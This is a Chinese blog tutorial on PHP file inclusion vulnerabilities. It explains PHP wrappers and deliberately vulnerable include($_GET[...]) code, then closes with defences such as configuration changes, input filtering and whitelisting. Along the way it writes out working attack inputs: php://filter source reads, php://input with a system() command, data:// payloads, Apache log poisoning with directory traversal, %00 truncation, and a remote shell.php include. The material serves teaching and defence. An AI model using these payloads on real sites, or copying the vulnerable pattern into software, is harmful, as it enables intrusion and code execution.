【基础漏洞讲解篇】文件包含漏洞(以PHP为例)

2a78b3382bc29bcaccbd3c8d43cfef29.jpeg


阅读本专栏的必备知识

  • 扎实的计算机基础知识(数据结构与算法、计算机网络等)
  • 熟悉HTTP/HTTPS协议
  • 熟练使用Linux操作系统,熟悉常见的运维管理操作,熟悉LAMPLNMP等网站环境。
  • 熟悉PHPPython编程语言基本语法和功能
  • 熟悉HTMLCSSJavaScript,能使用开发框架最佳
  • 熟悉MySQLMicrosoft SQL ServerOracleRedis等主流数据库产品
  • 熟悉常见的网站中间件,如ApacheNginx
  • 初步了解网络安全、Web安全的概念,粗略了解OWASP TOP 10
  • 初步掌握常见的安全工具(BurpSuite等)

简介—-什么是文件包含漏洞

文件包含漏洞(File Inclusion),是指程序在使用包含文件的函数时,用户可以控制文件包含的参数,而且程序未对传入的值进行严格审查,导致包含了一些具有危害性的脚本代码的漏洞。

在实际开发过程中,很多时候会用到一些重复的代码,这时开发人员会将重复的代码写成函数,放到一个单独的文件里(底层代码),然后在别的文件中去包含底层代码文件,以使用这些函数。这时如果包含函数的参数被用户控制,就会造成非常大的安全隐患。

本文将以PHP语言为例,介绍该漏洞的原理、利用方法和防御方法。

预备知识

PHP实现文件包含

在PHP语言中,可以轻松地使用以下四个函数进行文件包含:

名称 说明
include() 包含一个文件,如错误则抛出警告
include_once() 包含一个文件仅一次,和上面类似
require() 包含一个文件,如错误则报错并停止脚本
require_once() 包含一个文件仅一次,和上面类似

下面的示例代码以个人网站为例,演示了PHP文件包含的方法:

# index.php -- 网站主页
<?php
    include('config.php');
    echo("欢迎来到Bronyaの个人博客!");
    echo("<hr style=\"width:1400px;height:4px\">");
    die(getServerInfo());
?>


# config.php -- Web应用配置文件
<?php
    function getServerInfo(){
        phpinfo();
    }
?>

可以看到网站主页已经包含了phpinfo()函数的输出内容:

php文件包含演示.png

注:无论是什么类型的文件,只要其中含有合法PHP代码,PHP就可以包含并执行;如果没有,就会以纯文本形式显示文件中的内容。

PHP伪协议

在PHP中,开发人员封装了很多URL格式的Web协议(俗称伪协议),可以便捷地使用PHP的一些功能,它们的本质都是执行了PHP中的某个函数。原本开发人员设计该功能时只考虑到了方便程序员使用,但现在来看任意使用它是非常危险的。

PHP中一共有如下12种封装的协议:

协议 解释
php:// 访问PHP I/O流(php://inputphp://filter
ssh2:// Secure Shell 2
data:// 访问数据流
file:// 读取本地文件
zlib:// 访问压缩流
phar:// PHP归档
http:// 访问HTTP(S)网址
ftp:// 访问FTP服务
ogg:// 音频流
glob:// 查找匹配的文件路径模式
rar:// 访问RAR压缩文件
expect:// 处理交互式流

其中php://协议需要打开PHP配置文件中的allow_url_fopen选项,data://协议需要同时打开allow_url_fopenallow_url_include两个选项。

使用php://input可以通过POST方法操作PHP输入流,导致任意命令执行。
使用php://filter可以读取任意文件,造成源码泄露。

常见伪协议使用方法:

# php://filter
    http://127.0.0.1/index.php?jumpTo=php://filter/read=convert.base64-encode/resource=xxx.php 
# php://input
    http://127.0.0.1/index.php?jumpTo=php://input [POSTDATA]<?php phpinfo();?>
# file://
    http://127.0.0.1/index.php?jumpTo=file://<文件路径>
# data://
    http://127.0.0.1/index.php?jumpTo=data://text/plain,<?php phpinfo(); ?>
    http://127.0.0.1/index.php?jumpTo=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

Apache日志文件

Apache服务器中有两种日志:

  • access.log网络请求日志
  • error.log错误日志

access.log的作用记录网站的访问信息,格式如下:

表头名 解释
客户端IP 访问者的IP地址
访问者的EMail 此项年代久远,早已弃用,用-替代
访问者的身份认证 一般用-替代
访问时间 记录服务器时间
请求记录 记录请求方法、URL和协议
HTTP状态码 记录返回的状态码
字节数 记录向客户端发送的字节数

Apache访问日志error.log记录错误信息

文件包含漏洞分类

在PHP中,include()等函数既可以包含本地文件,也可通过PHP伪协议包含远程文件。如果对传入的URL参数不做合理限制,就会造成漏洞。因此文件包含漏洞可分为本地文件包含漏洞远程文件包含漏洞两种。

下面演示如何让PHP包含远程文件:

<?php




    echo("<h2>远程文件包含演示</h2>");
    $includeFile = $_GET['fileurl'];
    if(isset($includeFile)){
        include($includeFile)
    } else die("<p style=\"color:red;\">未设置远程文件URL!</p>")
?>

按照一般情况来说,$includeFile的值通常是本地文件的路径,但我们不一样,我们可以这么干:

  • http://http://127.0.0.1/index.php?fileurl=php://filter/read=convert.base64-encode/resource=flag.txt

截图_选择区域_20230702103324.png

可以看到我们成功读取了主机上的文件。

注意:请打开allow_url_fopenallow_url_include两个配置项!

本地文件包含漏洞

本地文件包含漏洞(LFI,Local File Include),是指开发人员未对用户传入的文件包含参数进行严格审查,导致程序包含了处于本地的恶意脚本的漏洞。(如PHP一句话)

下面通过举例的方式来解释该漏洞:

一天,王小美同学心血来潮,写了一个较为简陋的个人主页,网站的目录结构如下(假设已经被人挂上了一句话木马),index.php通过文件包含的方式进行网页跳转:
网站目录结构

网站部分源代码如下:

<?php




    $link=$_GET['jumpTo'];

    include($link);

?>

......
<body>
    ......
    <p>Name: 甘雨</p><br>
    <p>Age: 3000+</p><br>
    <p>我是女生</p><br>
    <a href="./index.php?jumpTo=jobs.php">我的工作</a>&nbsp;&nbsp;<a href="./index.php?jumpTo=hobby.php">我的兴趣爱好</a>
</body>

此时一般访问者可以点击链接访问其它页面。但如果攻击者想要访问自己的一句话木马,只需要构造如下链接:
http://127.0.0.1/file_include/index.php?jumpTo=shell.jpg
由于王小美同学的粗心大意,她没有在后端控制include()函数的参数合法性,于是攻击者输入了一句话木马的地址,程序就包含了一句话木马。
LFI攻击成功

Apache日志包含漏洞

事实上,王小美同学写的后端代码不仅有文件包含漏洞,还有目录穿越漏洞。如果在参数中加上../(表示回到上层目录),可以读取处于上层目录的文件。前面已经介绍过,Apache会自动记录请求信息,所以我们如果确定目标网站使用Apache,就可以使用BurpSuite发送如下请求,把PHP一句话写进access.log里:

GET /<?php phpinfo();?> HTTP/1.1

此时我们可以看到access.log中已经有了该条记录:

127.0.0.1 - - [14/Sep/2022:11:50:48 +0800] "GET /<?php phpinfo();?>" 400 2220

再配合目录穿越漏洞读取access.log,即可获得shell。

注:如果不知道日志文件的地址,可以把参数设置成一个不存在的文件名,比如?jumpTo=114514,这样网页会报错显示网站的绝对路径(如果没有屏蔽报错),使用了各种面板的会显示面板的错误信息,可以以此来判断日志路径。

截断攻击

复现环境:PHP < 5.3.4,magic_quotes_gpc=Off

经过之前的惨痛教训,王小美同学修改了网站源码,对传入的参数进行了处理:将其和.php字符串进行拼接,并关闭了报错,防止攻击者探查出网站的绝对路径。

<?php




    error_reporting(E_ERROR); 
    ini_set("display_errors","Off");
    if (isset($_GET['jumpTo'])) {
        include($_GET['jumpTo'].".php");
    } else {
    	// Do nothing.    
    }
?>
......
<body>
    ......
    <p>Name: 甘雨</p><br>
    <p>Age: 3000+</p><br>
    <p>我是女生</p><br>
    <a href="./index.php?jumpTo=jobs">我的工作</a>&nbsp;&nbsp;<a href="./index.php?jumpTo=hobby">我的兴趣爱好</a>
</body>

但你以为这就结束了吗?

在ASCII字符集中,%00代表的是字符串的结束,也就是说,如果在一串字符的中间插入%00,那么后面的字符串会被丢弃。如果把参数值改为shell.jpg%00,那么之后拼接的.php将被include方法所忽略。这样就能成功访问一句话木马。

远程文件包含漏洞

远程文件包含漏洞(RFI,Remote File Include),是指开发人员未限制包含的文件对象,加上PHP的不合理配置,导致程序包含了其它域(网站)中的危险脚本的漏洞。其本质是使用PHP伪协议进行包含。
复现环境:allow_url_include=On,allow_url_fopen=On

无限制远程文件包含漏洞的复现比较简单。只需要在参数之后加上危险脚本的URL即可。
比如:http://127.0.0.1/file_include/index.php?jumpTo=http://www.xxx.com/shell.php

有限制远程文件包含截断方法

  1. 使用?绕过,问号之后的字符串会被当做查询参数丢弃
  2. 使用%20绕过。

使用伪协议控制PHP输入流

复现环境:allow_url_include=On

前面已经介绍过,使用php://input可以控制PHP的输入流。假设主页代码为这样:

<?php




    $link=$_GET['jumpTo'];

    include($link);

?>

此时我们可以通过BurpSuite将参数改为php://input,控制了PHP输入流:

GET /file_include/index.php?jumpTo=php://input HTTP/1.1
Host: 127.0.0.1
......
Sec-Fetch-User: ?1

<?php system("ipconfig/all"); ?>

此时我们已经把显示主机IP地址信息的命令“输入”到了PHP中。
PHP伪协议漏洞

小结

  1. PHP文件包含漏洞是开发人员未严格限制包含参数而产生的漏洞。
  2. 该漏洞分为本地文件包含漏洞远程文件包含漏洞
  3. 该漏洞有可能导致目录穿越,读取系统关键数据。(如Apache日志等)
  4. 远程文件包含漏洞本质上使用了PHP伪协议,使用php://input会产生更大的危害。

如何防御?

1.调整PHP的不合理配置

本文中所介绍的漏洞,有相当一部分是由于PHP配置文件中的不合理配置导致被利用。下面是推荐的配置项:

  1. magic_quotes_gpc=On,将参数中的异常字符进行转义。
  2. allow_url_include=Off,禁止将URL作为文件打开处理。
  3. allow_url_fopen=Off,禁止include()require()打开URL作为文件处理。

2.过滤异常字符

检查参数,如果参数中含有%#;等不需要的字符,将其去掉或者拒绝请求。

3.更改Apache日志路径

具体可以参考其他大佬的文章,这里不过多阐述。

apache日志路径设置问题(windows系统下)

4.写死包含的路径或文件名(最根本)

造成文件包含漏洞的原因99%都是包含的文件名由用户控制,我们只需要将参数的控制权拿回自己手里就可以规避这99%的风险。具体代码如下:

<?php




    header("Content-type:text/html;charset=utf-8");
    error_reporting(E_ERROR); 
    ini_set("display_errors","Off");
    $link=$_GET['jumpTo'];
    if (isset($link)) {
        switch ($link) {
            case 'job':
                include('./jobs.php');
                break;
            case 'hobby':
                include('./hobby.php');
                break;
            default:
                die("风雪的缩影,如琉璃般飘落......");
                break;
        }
    } else {
    	// Do nothing.    
    }
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>王小美の主页</title>
</head>
<body>
    <h1 style="text-align: center;">个人主页</h1>
    <br>
    <img src="./img/ganyu.png">
    <br>
    <p>Name: 甘雨</p><br>
    <p>Age: 3000+</p><br>
    <p>我是女生</p><br>
    <a href="./index.php?jumpTo=job">我的工作</a>&nbsp;&nbsp;<a href="./index.php?jumpTo=hobby">我的兴趣爱好</a>
</body>
</html>

© 版权声明
THE END
喜欢就支持一下吧
点赞0

Warning: mysqli_query(): (HY000/3): Error writing file '/tmp/MYMnD4NP' (Errcode: 28 - No space left on device) in /www/wwwroot/583.cn/wp-includes/class-wpdb.php on line 2345
admin的头像-五八三
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

图形验证码
取消
昵称代码图片